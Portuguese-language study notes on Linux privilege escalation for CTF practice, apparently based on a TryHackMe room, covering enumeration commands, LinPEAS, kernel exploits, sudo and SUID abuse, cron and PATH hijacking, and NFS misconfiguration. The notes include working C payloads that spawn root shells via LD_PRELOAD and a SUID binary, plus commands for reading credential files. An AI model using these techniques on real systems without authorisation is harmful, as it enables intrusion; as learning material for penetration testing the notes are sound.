Linux Privilege Escalation

Created	@October 22, 2025 11:25 AM
Tags	

O que é?

Consiste na exploração de uma vulnerabilidade, falha projetada ou supervisão de configuração em um sistema operacional ou em uma aplicação, a fim de adquirir acesso não autorizado a recursos que estão normalmente restritos ao usuários. Basicamente, consiste em partir de uma conta com baixas permissões e adquirir acesso a uma conta com maiores privilégios.

Em CTFs, é uma técnica muito importante, já que muitas vezes precisamos de acesso de root para rodar determinados comandos e encontrar determinadas flags.

Fase de Enumeração

Essa fase é de extrema importância para CTFs e para pentest, já que é a etapa que almeja adquirir informações da máquina host para a escalação de privilégios. Dentre essas informações, estão informações sobre o sistema operacional (versão do sistema, versão do kernel, ...), informações de rede (conexões abertas, interfaces de rede, ...), configurações de arquivos etc. Para isso, os comandos abaixo são extremamente úteis.

▼ **Informações sobre o Sistema Operacional**

- `hostname` → Retorna o nome da máquina host;
- `uname -a` → Retorna informações adicionais sobre o kernel do sistema;

- `cat /proc/version` → Exibe as informações do arquivo `/proc/version`, o qual contém informações sobre a versão do kernel do sistema e pode fornecer outras informações;
- `cat /etc/issue` → Exibe informações do arquivo `/etc/issue`, o qual contém informações sobre o sistema operacional.
    - Observação: todos os arquivos com informações do sistema operacional podem ser alterados. Então, é crucial usar todas as maneiras possíveis para adquirir informações sobre o sistema alvo.
- `lsb_release -a` → Exibe informações sobre a distribuição Linux da máquina;
- `env` → Retorna uma lista com as variáveis de ambiente do sistema. A variável `PATH` pode conter um compilador ou uma linguagem de programação que podemos usar para executar código ou elevar privilégios.

▼ **Informações sobre os Processos Ativos**

- `ps` → Retorna uma lista com informações dos processos em execução no shell atual. Retorna as seguintes informações sobre cada processo:
    - PID: ID do processo;
    - TTY: Tipo de terminal usado pelo usuário;
    - Time: Quantidade de tempo que o processo usou a CPU;
    - CMD: Comando ou programa em execução (não mostra parâmetros de linha de comando);
- `ps -A` → Retorna uma lista com informações de todos os processos em execução.
- `ps axjf` → Retorna uma árvore com informações de todos os processos em execução, mostrando a relação entre processos pais e filhos.

▼ **Informações sobre Usuários**

- `sudo -l` → Retorna uma lista de programas que o usuário pode executar pode executar com privilégio de root.
- `id` → Retorna informações sobre o nível de privilégio e sobre associações de grupo do usuário.

    - `id <user>` → Pode ser usado para adquirir informações sobre o `<user>` especificado.
- `cat /etc/passwd` → Exibe o conteúdo do arquivo `/etc/passwd`, o qual contém informações sobre os outros usuários do sistema.
    - `cat /etc/passwd | grep home | cut -d ":" -f 1` → Exibe apenas o nome dos usuários não padrão do sistema.
- `history` → Exibe o histórico de comandos executados pelo usuário.

▼ **Informações de Rede**

- `ifconfig` → Exibe informações sobre as interfaces de rede da máquina.
- `ip route` → Exibe as rotas de rede do sistema.
- `netstat` → Exibe informações do estado das conexões de rede ativas no sistema. Abaixo, segue algumas opções para adquirir mais informações.
    - `netstat -a` → Lista todas as portas que estão escutando e todas as conexões estabelecidas.
    - `netstat -l` → Lista apenas as portas que estão abertas e aguardando conexões.
    - `netstat -s` → Mostra estatísticas de conexões separadas por protocolo.
    - `netstat -p` → Mostra as conexões ativas com o nome do serviço e o PID.
    - `netstat -i` → Mostra estatísticas das interfaces de rede.
    - `netstat -n` → Mostra as informações do endereços sem resolução de nomes.
    - `netstat -t` → Mostra apenas informações de conexões TCP.
    - `netstat -u` → Mostra apenas informações de conexões UDP.
    - Observação: As opções podem ser combinadas para gerar saídas mais específicas.
        - `netstat -at` → Mostra informações de portas abertas aguardando por conexões e portas que já estabeleceram conexões, filtrando pelo protocolo TCP.

        - `netstat -ano` → Mostra informações de todas as portas abertas aguardando por conexões e portas que já estabeleceram conexões sem resolução de nomes e mostrando os timers.

▼ **Informações de Arquivos ou Diretórios**

- `ls` → Lista arquivos e diretórios dentro de um diretório.
    - `ls -la` → Lista até arquivos ocultos.
- `find <diretorio> -opcoes` → Usado para procurar arquivos e diretórios com determinadas características.
    - `find <diretorio> -name <name>` → Procura por arquivos e diretórios com o nome especificado `<name>`.
    - `find <diretorio> -type <type>` → Procura de acordo com o tipo especificado (`f` para arquivos e `d` para diretórios).
    - `find <diretorio> -perm <perm>` → Procura de acordo com as permissões `<perm>`.

Enumeração automatizada

A fase de enumeração pode ser bem demorada e, por isso, uma boa prática é utilizar scripts automatizados para acelerar essa etapa. Existem diversos scripts automatizado que conseguem enumerar informações interessantes que podem levar a escalação de privilégios na máquina alvo. Dentre eles, um dos mais utilizados é o **Linux Privilege Escalation Awesome Script** (LinPEAS).

Para usar o LinPEAS, primeiramente, precisamos transferir o script na máquina em que queremos encontrar vulnerabilidades. Para isso, podemos recorrer a vários métodos: SCP, SFTP, wget ou curl, porém é importante que já tenhamos acesso à máquina alvo. Seguem abaixo alguns comandos para transferir o script para a máquina alvo.

```
scp linpeas.sh user@target:/tmp
```

```
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh -O /tmp/linpeas.sh
```

Se optarmos por usar algum protocolo para transferir o arquivo, primeiramente, precisamos baixar o script na máquina que está atacando o sistema, o que pode ser feito pelo seguinte comando:

```
git clone https://github.com/carlospolop/PEASS-ng.git
```

Uma vez que o LinPEAS foi transferido para a máquina alvo, precisamos garantir que o arquivo possui permissões para ser executado. Podemos alcançar esse objetivo pelo comando:

```
chmod +x <path_do_LinPEAS>
```

Tomadas essas medidas, agora podemos executar o arquivo `linpeas.sh` para obter informações sobre o sistema. Podemos usar o comando abaixo para armazenar o output da execução em um arquivo para facilitar a análise.

```
/tmp/linpeas.sh | tee linpeas_output.txt
```

Além disso, podemos passar algumas opções para modificar o comportamento do LinPEAS com base em nossas necessidades.

- `-a` → Executará também os testes de processos, procurará mais possíveis hashes em arquivos e realizará uma ataque de brute force em cada usuário usando o comando `su` com as senhas do top2000;
- `-e` →Realizará verificações que são evitadas por padrão;
- `-r` → Procurará por centenas de chaves de API de diferentes plataformas nos arquivos de sistema;
- `-s` → Ignorará algumas verificações que demoram muito;
- `-P` → Informa uma senha que será usada com `sudo -l` e para brutar outros usuários;
- `-D` → Mostrará informações sobre as verificações que não descobriram nada e sobre o tempo que cada verificação demorou;
- `-d/-p/-i/-t` → Para descobrir informações de rede do dispositivo.

O LinPEAS utiliza cores para indicar informações valiosas:

- Vermelho/Amarelo → Indica configurações que levam a uma Escalação de Privilégio;
- Vermelho → Indica configurações suspeitas que podem levar a Escalação de Privilégio;
- Verde → Indica configurações bem feitas conhecidas;
- Azul → Indica usuários sem shell e dispositivos montados;
- Ciano claro → Usuários com shell;
- Magenta claro → Usuário atual.

Exploits de Kernel

No Linux, o kernel do sistema operacional é responsável por gerenciar a comunicação de dispositivos, como a memória, e as aplicações. Assim, naturalmente, o kernel possui privilégios maiores que um usuário comum. Logo, uma vulnerabilidade de kernel tem grandes chances de nos permitir uma escalação de privilégio.

Para descobrir se o kernel da máquina alvo possui alguma vulnerabilidade, primeiro precisamos saber a versão do kernel e a versão dos sistema operacional. Podemos alcançar esses objetivos por meio dos comandos abaixo.

```
uname -a
lsb_release -a
```

Com essas informações em mãos, podemos pesquisar na internet se existe alguma vulnerabilidade para a versão do kernel e distribuição Linux da máquina alvo. Seguem abaixo alguns sites interessantes para pesquisar por vulnerabilidades:

- https://www.exploit-db.com/
- https://www.cvedetails.com/

Se encontrarmos alguma vulnerabilidade, basta baixarmos um script que explora essa vulnerabilidade e executá-lo na máquina alvo. Importante verificar se o script não precisa de alguma modificação.

Sudo

O comando `sudo` é usado para executar programas como root no Linux. Em algumas situações, administradores de sistemas podem liberar a execução com privilégios de root de determinados programas para determinados usuários. Nesse caso, podemos verificar se a execução de algum programa com privilégios de root pode nos levar a escalar privilégios. Para isso, primeiramente, precisamos descobrir quais programas o usuário pode executar como root. Podemos verificar essa informação com o comando

```
sudo -l
```

Após analisar o output do comando, podemos pesquisar no site https://gtfobins.github.io/ se algum dos programas especificadas na saída pode ser usado para escalar privilégios. Se o programa aparecer na lista do GTFOBins, então basta copiarmos o comando do site e executá-lo no terminal.

Aproveitando Funções de Aplicações

Em alguns casos, alguns programas não possuem vulnerabilidades conhecidas nesse contexto, mas suas funcionalidades podem levar a algum vazamento de dados. Por exemplo, o Apache2 possui uma opção que suporta o carregamento de um arquivo de configuração. Se especificarmos o arquivo `/etc/shadow`, o qual possui os hashes das senhas dos usuários do sistema, para o Apache2 carregar, o resultado será uma mensagem de erro que inclui a primeira linha do arquivo `/etc/shadow`.

Aproveitando LD_PRELOAD

Em alguns sistemas, é possível ver a configuração de ambiente do LD_PRELOAD. O LD_PRELOAD permite que especifiquemos bibliotecas compartilhadas a serem carregadas na memória antes da execução de um programa. Se a opção "env_keep" estiver setada, podemos gerar uma biblioteca compartilhada a qual será carregada e executada antes da execução de um programa. Entretanto, se o ID de usuário real (usuário que iniciou o processo) for diferente do ID do usuário efetivo (usuários cujos privilégios estão sendo usados), a configuração do LD_PRELOAD será ignorada.

Assim, podemos utilizar essa técnica para escalar privilégio da seguinte maneira:

1. Verificar LD_PRELOAD;
2. Escrever um código em C compilado como um arquivo objeto compartilhado (.so);

3. Executar o programa com o comando `sudo` e a opção LD_PRELOAD apontando para o arquivo .so.

Abaixo, segue um código em C capaz de gerar uma shell com privilégios de root:

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

Para compilar esse código e gerar um arquivo objeto compartilhado, podemos executar o comando abaixo.

```
gcc -fPIC -shared -o shell.so <filename.c> -nostartfiles
```

Agora, basta executar um programa listado na saída do comando `sudo -l`:

```
sudo LD_PRELOAD=<path_to_shell.so> <program>
```

SUID

O SUID/SGID é um configuração que permite que arquivos possam ser executados com a permissão de seus donos ou do grupo dono. Alguns arquivos podem levar a escalação de privilégio, outros podem nos levar a acessar ou modificar um arquivo que não temos permissão. Depende bastante de qual arquivo podemos executar. Uma boa prática é verificar no site GTFOBins se é possível explorar esses programas de alguma forma.

Para verificar se existem arquivos com o SUID/SGID setados, podemos executar o comando abaixo:

```
find / -type f -perm -04000 -ls 2>/dev/null
```

Capacidades

Em alguns casos, ao em vez de setar o SUID/GUID de um programa para um usuário, os administradores do sistema podem aumentar as capacidades de um programa sem conceder acessos privilegiados a um usuário. Isso é feitor por meio das configurações das capacidades dos arquivos. Para verificar quais arquivos possuem capacidades configuradas, podemos utilizar o comando abaixo.

```
getcap -r / 2>/dev/null
```

Uma vez encontrado algum programa com capacidades, podemos pesquisar no GTFOBins se é possível explorar essa capacidade para escalar privilégios.

Cron Jobs

Cron jobs são programas que são executados periodicamente no sistema. É possível usá-los para escalar privilégios quando um cron job é executado com privilégios de root e o usuário que possui permissão para alterar o script executado no cron job ou quando um programa especificada na lista de cron jobs do sistema foi deletado. No primeiro caso, basta alterarmos o código do script de maneira a realizarmos uma shell reversa. No segundo caso, podemos criar um arquivo com o mesmo nome no diretório especificado ou, caso o diretório do script não esteja especificado, em algum diretório listado na variável `PATH` do arquivo `/etc/crontab`. Para visualizarmos os cron jobs configurados no sistema, usa-se o comando abaixo.

```
cat /etc/crontab
```

Observação: É necessário ter certeza que o script executado no cron job possui permissões de execução. Podemos assegurar isso por meio do comando `chmod +x <script>`.

PATH

Quando executamos um programa e não especificamos o caminho dele, o Linux consulta a variável PATH e procura o programa nos caminhos armazenados nessa variável. Para usar a variável PATH para escalar privilégios, algumas condições precisam ser cumpridas:

1. Precisamos ter permissão de escrita em algum diretório listado na variável PATH;
2. Precisamos de um script com privilégios de root que chame um executável em um diretório listado na variável PATH e que temos permissão de escrita;

A ideia é que podemos criar um executável em uma pasta com permissões de escrita que esteja no path para que o script execute esse executável ao em vez de executar o executável verdadeiro. Assim, podemos fazer uma copia do

executável `/bin/bash` com o nome do executável que o script chama e colocar essa copia em algum diretório do PATH. Em alguns casos, podemos incluir um diretório na variável PATH.

Comando para incluir um diretório no PATH:

```
export PATH=<diretorio>:$PATH
```

Comando para criar uma cópia do `/bin/bash`:

```
echo "/bin/bash" > <nome_do_executavel>
```

NFS

Em algumas situações, podemos nos aproveitas de diretórios compartilhados para escalar privilégios no sistema. Podemos verificar se existem diretórios compartilhados lendo o arquivo `/etc/exports`. Se a configuração “no_root_squash” estiver setada em alguma das pastas e essa pasta possui permissão de escrita, podemos criar um executável com SUID setado e executá-lo na máquina alvo.

Código do executável para abrir um shell com privilégios de root:

```
#include <unistd.h>
#include <stdlib.h>

int main() {
    setgid(0);
    setuid(0);
```

```
    system("/bin/bash");
    return 0;
}
```

Comando para setar o SUID:

```
chmod +s <nome_do_executavel>
```

Referências

Linux Privilege Escalation

Learn the fundamentals of Linux privilege escalation. From enumeration to exploitation, get hands-on with over 8 different privilege escalation techniques.

https://tryhackme.com/room/linprivesc